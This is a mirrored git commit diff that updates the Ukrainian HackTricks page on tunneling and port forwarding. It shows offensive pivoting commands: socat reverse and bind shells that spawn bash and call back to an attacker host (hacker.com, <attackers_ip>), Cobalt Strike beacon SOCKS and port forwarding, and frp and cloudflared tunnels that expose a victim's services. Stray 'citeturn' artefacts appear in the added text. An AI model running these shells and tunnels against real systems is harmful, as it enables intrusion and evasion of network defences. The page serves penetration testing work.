mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md'] to u
This commit is contained in:
parent
d0979776e1
commit
98c1731254
@ -5,7 +5,7 @@
|
|||||||
## Nmap tip
|
## Nmap tip
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> **ICMP** та **SYN** сканування не можуть бути тунельовані через проксі socks, тому ми повинні **вимкнути виявлення ping** (`-Pn`) і вказати **TCP сканування** (`-sT`), щоб це працювало.
|
> **ICMP** та **SYN** сканування не можуть бути тунельовані через socks проксі, тому ми повинні **вимкнути виявлення ping** (`-Pn`) і вказати **TCP сканування** (`-sT`), щоб це працювало.
|
||||||
|
|
||||||
## **Bash**
|
## **Bash**
|
||||||
|
|
||||||
@ -55,7 +55,7 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
|
|||||||
```bash
|
```bash
|
||||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||||
```
|
```
|
||||||
### Зворотне Портове Перенаправлення
|
### Зворотне перенаправлення портів
|
||||||
|
|
||||||
Це корисно для отримання зворотних шелів з внутрішніх хостів через DMZ до вашого хоста:
|
Це корисно для отримання зворотних шелів з внутрішніх хостів через DMZ до вашого хоста:
|
||||||
```bash
|
```bash
|
||||||
@ -87,10 +87,14 @@ iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
|
|||||||
```
|
```
|
||||||
route add -net 10.0.0.0/16 gw 1.1.1.1
|
route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||||
```
|
```
|
||||||
|
> [!NOTE]
|
||||||
|
> **Безпека – Атака Terrapin (CVE-2023-48795)**
|
||||||
|
> Атака з пониженням Terrapin 2023 року може дозволити зловмиснику в середньому положенні втручатися в ранній SSH-рукопожаття та впроваджувати дані в **будь-який перенаправлений канал** ( `-L`, `-R`, `-D` ). Переконайтеся, що як клієнт, так і сервер оновлені ( **OpenSSH ≥ 9.6/LibreSSH 6.7** ) або явно вимкніть вразливі алгоритми `chacha20-poly1305@openssh.com` та `*-etm@openssh.com` у `sshd_config`/`ssh_config` перед тим, як покладатися на SSH-тунелі. citeturn4search0
|
||||||
|
|
||||||
## SSHUTTLE
|
## SSHUTTLE
|
||||||
|
|
||||||
Ви можете **tunnel** через **ssh** весь **трафік** до **підмережі** через хост.\
|
Ви можете **тунелювати** через **ssh** весь **трафік** до **підмережі** через хост.\
|
||||||
Наприклад, пересилання всього трафіку, що йде до 10.10.10.0/24
|
Наприклад, перенаправлення всього трафіку, що йде до 10.10.10.0/24
|
||||||
```bash
|
```bash
|
||||||
pip install sshuttle
|
pip install sshuttle
|
||||||
sshuttle -r user@host 10.10.10.10/24
|
sshuttle -r user@host 10.10.10.10/24
|
||||||
@ -134,7 +138,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
|||||||
|
|
||||||
### SOCKS proxy
|
### SOCKS proxy
|
||||||
|
|
||||||
Відкрийте порт на teamserver, який слухає на всіх інтерфейсах, що може бути використаний для **маршрутизації трафіку через beacon**.
|
Відкрийте порт на сервері команди, який слухає на всіх інтерфейсах, що може бути використаний для **маршрутизації трафіку через маяк**.
|
||||||
```bash
|
```bash
|
||||||
beacon> socks 1080
|
beacon> socks 1080
|
||||||
[+] started SOCKS4a server on: 1080
|
[+] started SOCKS4a server on: 1080
|
||||||
@ -145,21 +149,21 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
|||||||
### rPort2Port
|
### rPort2Port
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> У цьому випадку **порт відкритий на хості-мітці**, а не на сервері команди, і трафік надсилається на сервер команди, а звідти на вказаний хост:порт
|
> У цьому випадку **порт відкритий на хості маяка**, а не на сервері команди, і трафік надсилається на сервер команди, а звідти на вказаний хост:порт
|
||||||
```bash
|
```bash
|
||||||
rportfwd [bind port] [forward host] [forward port]
|
rportfwd [bind port] [forward host] [forward port]
|
||||||
rportfwd stop [bind port]
|
rportfwd stop [bind port]
|
||||||
```
|
```
|
||||||
Зверніть увагу:
|
Зверніть увагу:
|
||||||
|
|
||||||
- Зворотний портовий переказ Beacon призначений для **тунелювання трафіку до Team Server, а не для пересилання між окремими машинами**.
|
- Зворотний портовий переадресатор Beacon призначений для **тунелювання трафіку до Team Server, а не для пересилання між окремими машинами**.
|
||||||
- Трафік **тунелюється в межах C2 трафіку Beacon**, включаючи P2P посилання.
|
- Трафік **тунелюється в межах C2 трафіку Beacon**, включаючи P2P посилання.
|
||||||
- **Привілеї адміністратора не потрібні** для створення зворотних портових переказів на високих портах.
|
- **Привілеї адміністратора не потрібні** для створення зворотних портових переадресаторів на високих портах.
|
||||||
|
|
||||||
### rPort2Port локальний
|
### rPort2Port локальний
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> У цьому випадку **порт відкривається на хості beacon**, а не на Team Server, і **трафік надсилається до клієнта Cobalt Strike** (не до Team Server), а звідти до вказаного хосту:порту.
|
> У цьому випадку **порт відкривається на хості beacon**, а не на Team Server, і **трафік надсилається до клієнта Cobalt Strike** (не до Team Server) і звідти до вказаного хоста:порту.
|
||||||
```bash
|
```bash
|
||||||
rportfwd_local [bind port] [forward host] [forward port]
|
rportfwd_local [bind port] [forward host] [forward port]
|
||||||
rportfwd_local stop [bind port]
|
rportfwd_local stop [bind port]
|
||||||
@ -263,7 +267,7 @@ victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntl
|
|||||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||||
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
|
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
|
||||||
```
|
```
|
||||||
### Зворотний шелл
|
### Реверс-шелл
|
||||||
```bash
|
```bash
|
||||||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||||||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||||
@ -286,7 +290,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
|||||||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||||
#Execute the meterpreter
|
#Execute the meterpreter
|
||||||
```
|
```
|
||||||
Ви можете обійти **неавторизований проксі**, виконавши цю команду замість останньої в консолі жертви:
|
Ви можете обійти **неавторизований проксі**, виконавши цей рядок замість останнього в консолі жертви:
|
||||||
```bash
|
```bash
|
||||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||||
```
|
```
|
||||||
@ -322,7 +326,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
|||||||
|
|
||||||
Це як консольна версія PuTTY (опції дуже схожі на клієнт ssh).
|
Це як консольна версія PuTTY (опції дуже схожі на клієнт ssh).
|
||||||
|
|
||||||
Оскільки цей бінар буде виконуватись на жертві і є клієнтом ssh, нам потрібно відкрити наш ssh сервіс і порт, щоб ми могли отримати зворотне з'єднання. Потім, щоб перенаправити лише локально доступний порт на порт у нашій машині:
|
Оскільки цей бінар буде виконуватись на жертві і є клієнтом ssh, нам потрібно відкрити наш сервіс ssh і порт, щоб ми могли отримати зворотне з'єднання. Потім, щоб перенаправити лише локально доступний порт на порт у нашій машині:
|
||||||
```bash
|
```bash
|
||||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||||
@ -354,13 +358,13 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||||||
# Load SocksOverRDP.dll using regsvr32.exe
|
# Load SocksOverRDP.dll using regsvr32.exe
|
||||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||||
```
|
```
|
||||||
Тепер ми можемо **підключитися** до **жертви** через **RDP** за допомогою **`mstsc.exe`**, і ми повинні отримати **підказку**, що **плагін SocksOverRDP увімкнено**, і він буде **слухати** на **127.0.0.1:1080**.
|
Тепер ми можемо **підключитися** до **жертви** через **RDP** за допомогою **`mstsc.exe`**, і ми повинні отримати **підказку**, що **плагін SocksOverRDP увімкнено**, і він буде **прослуховувати** на **127.0.0.1:1080**.
|
||||||
|
|
||||||
**Підключіться** через **RDP** та завантажте і виконайте на машині жертви бінарний файл `SocksOverRDP-Server.exe`:
|
**Підключіться** через **RDP** та завантажте і виконайте на машині жертви бінарний файл `SocksOverRDP-Server.exe`:
|
||||||
```
|
```
|
||||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||||
```
|
```
|
||||||
Тепер підтвердіть на вашій машині (атакуючий), що порт 1080 слухає:
|
Тепер підтвердіть на вашій машині (атакуючого), що порт 1080 слухає:
|
||||||
```
|
```
|
||||||
netstat -antb | findstr 1080
|
netstat -antb | findstr 1080
|
||||||
```
|
```
|
||||||
@ -369,10 +373,10 @@ netstat -antb | findstr 1080
|
|||||||
## Проксування Windows GUI додатків
|
## Проксування Windows GUI додатків
|
||||||
|
|
||||||
Ви можете налаштувати Windows GUI додатки для роботи через проксі, використовуючи [**Proxifier**](https://www.proxifier.com/).\
|
Ви можете налаштувати Windows GUI додатки для роботи через проксі, використовуючи [**Proxifier**](https://www.proxifier.com/).\
|
||||||
У **Профіль -> Проксі-сервери** додайте IP-адресу та порт SOCKS-сервера.\
|
У **Profile -> Proxy Servers** додайте IP-адресу та порт SOCKS сервера.\
|
||||||
У **Профіль -> Правила проксування** додайте назву програми, яку потрібно проксувати, та з'єднання з IP-адресами, які ви хочете проксувати.
|
У **Profile -> Proxification Rules** додайте назву програми для проксування та з'єднання з IP-адресами, які ви хочете проксувати.
|
||||||
|
|
||||||
## Обхід проксі NTLM
|
## Обхід NTLM проксі
|
||||||
|
|
||||||
Раніше згадуваний інструмент: **Rpivot**\
|
Раніше згадуваний інструмент: **Rpivot**\
|
||||||
**OpenVPN** також може обійти це, встановивши ці параметри у файлі конфігурації:
|
**OpenVPN** також може обійти це, встановивши ці параметри у файлі конфігурації:
|
||||||
@ -455,7 +459,7 @@ Proxychains перехоплює виклик `gethostbyname` libc і тунел
|
|||||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||||
|
|
||||||
Для створення tun адаптерів і тунелювання даних між ними за допомогою ICMP echo запитів потрібен root доступ в обох системах.
|
Root потрібен в обох системах для створення tun адаптерів і тунелювання даних між ними за допомогою ICMP echo запитів.
|
||||||
```bash
|
```bash
|
||||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||||
@ -480,7 +484,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
|
|||||||
## ngrok
|
## ngrok
|
||||||
|
|
||||||
[**ngrok**](https://ngrok.com/) **є інструментом для експонування рішень в Інтернеті в один рядок команди.**\
|
[**ngrok**](https://ngrok.com/) **є інструментом для експонування рішень в Інтернеті в один рядок команди.**\
|
||||||
_Експоновані URI виглядають так:_ **UID.ngrok.io**
|
_Експозиційні URI виглядають так:_ **UID.ngrok.io**
|
||||||
|
|
||||||
### Встановлення
|
### Встановлення
|
||||||
|
|
||||||
@ -511,12 +515,12 @@ _Також можливо додати аутентифікацію та TLS,
|
|||||||
./ngrok http file:///tmp/httpbin/
|
./ngrok http file:///tmp/httpbin/
|
||||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||||
```
|
```
|
||||||
#### Перехоплення HTTP викликів
|
#### Sniffing HTTP calls
|
||||||
|
|
||||||
_Корисно для XSS, SSRF, SSTI ..._\
|
_Корисно для XSS, SSRF, SSTI ..._\
|
||||||
Безпосередньо з stdout або в HTTP інтерфейсі [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
Безпосередньо з stdout або в HTTP інтерфейсі [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||||||
|
|
||||||
#### Тунелювання внутрішнього HTTP сервісу
|
#### Tunneling internal HTTP service
|
||||||
```bash
|
```bash
|
||||||
./ngrok http localhost:8080 --host-header=rewrite
|
./ngrok http localhost:8080 --host-header=rewrite
|
||||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||||
@ -541,6 +545,71 @@ httpstatic:
|
|||||||
proto: http
|
proto: http
|
||||||
addr: file:///tmp/httpbin/
|
addr: file:///tmp/httpbin/
|
||||||
```
|
```
|
||||||
|
## Cloudflared (Cloudflare Tunnel)
|
||||||
|
|
||||||
|
Демон `cloudflared` від Cloudflare може створювати вихідні тунелі, які відкривають **локальні TCP/UDP сервіси** без необхідності вхідних правил брандмауера, використовуючи край Cloudflare як місце зустрічі. Це дуже зручно, коли вихідний брандмауер дозволяє лише HTTPS-трафік, але вхідні з'єднання заблоковані.
|
||||||
|
|
||||||
|
### Quick tunnel one-liner
|
||||||
|
```bash
|
||||||
|
# Expose a local web service listening on 8080
|
||||||
|
cloudflared tunnel --url http://localhost:8080
|
||||||
|
# => Generates https://<random>.trycloudflare.com that forwards to 127.0.0.1:8080
|
||||||
|
```
|
||||||
|
### SOCKS5 півот
|
||||||
|
```bash
|
||||||
|
# Turn the tunnel into a SOCKS5 proxy on port 1080
|
||||||
|
cloudflared tunnel --url socks5://localhost:1080 --socks5
|
||||||
|
# Now configure proxychains to use 127.0.0.1:1080
|
||||||
|
```
|
||||||
|
### Постійні тунелі з DNS
|
||||||
|
```bash
|
||||||
|
cloudflared tunnel create mytunnel
|
||||||
|
cloudflared tunnel route dns mytunnel internal.example.com
|
||||||
|
# config.yml
|
||||||
|
Tunnel: <TUNNEL-UUID>
|
||||||
|
credentials-file: /root/.cloudflared/<TUNNEL-UUID>.json
|
||||||
|
url: http://127.0.0.1:8000
|
||||||
|
```
|
||||||
|
Запустіть з'єднувач:
|
||||||
|
```bash
|
||||||
|
cloudflared tunnel run mytunnel
|
||||||
|
```
|
||||||
|
Оскільки весь трафік виходить з хоста **вихідний через 443**, тунелі Cloudflared є простим способом обійти вхідні ACL або межі NAT. Зверніть увагу, що бінарний файл зазвичай працює з підвищеними привілеями – використовуйте контейнери або прапор `--user`, коли це можливо. citeturn1search0
|
||||||
|
|
||||||
|
## FRP (Швидкий зворотний проксі)
|
||||||
|
|
||||||
|
[`frp`](https://github.com/fatedier/frp) – це активно підтримуваний зворотний проксі на Go, який підтримує **TCP, UDP, HTTP/S, SOCKS та P2P NAT-hole-punching**. Починаючи з **v0.53.0 (травень 2024)**, він може діяти як **SSH Tunnel Gateway**, тому цільовий хост може створити зворотний тунель, використовуючи лише стандартний клієнт OpenSSH – додатковий бінарний файл не потрібен.
|
||||||
|
|
||||||
|
### Класичний зворотний TCP тунель
|
||||||
|
```bash
|
||||||
|
# Attacker / server
|
||||||
|
./frps -c frps.toml # listens on 0.0.0.0:7000
|
||||||
|
|
||||||
|
# Victim
|
||||||
|
./frpc -c frpc.toml # will expose 127.0.0.1:3389 on frps:5000
|
||||||
|
|
||||||
|
# frpc.toml
|
||||||
|
serverAddr = "attacker_ip"
|
||||||
|
serverPort = 7000
|
||||||
|
|
||||||
|
[[proxies]]
|
||||||
|
name = "rdp"
|
||||||
|
type = "tcp"
|
||||||
|
localIP = "127.0.0.1"
|
||||||
|
localPort = 3389
|
||||||
|
remotePort = 5000
|
||||||
|
```
|
||||||
|
### Використання нового SSH шлюзу (без бінарного frpc)
|
||||||
|
```bash
|
||||||
|
# On frps (attacker)
|
||||||
|
sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
||||||
|
./frps -c frps.toml
|
||||||
|
|
||||||
|
# On victim (OpenSSH client only)
|
||||||
|
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
|
||||||
|
```
|
||||||
|
Вищезазначена команда публікує порт жертви **8080** як **attacker_ip:9000** без розгортання будь-яких додаткових інструментів – ідеально для живого використання ресурсів. citeturn2search1
|
||||||
|
|
||||||
## Інші інструменти для перевірки
|
## Інші інструменти для перевірки
|
||||||
|
|
||||||
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user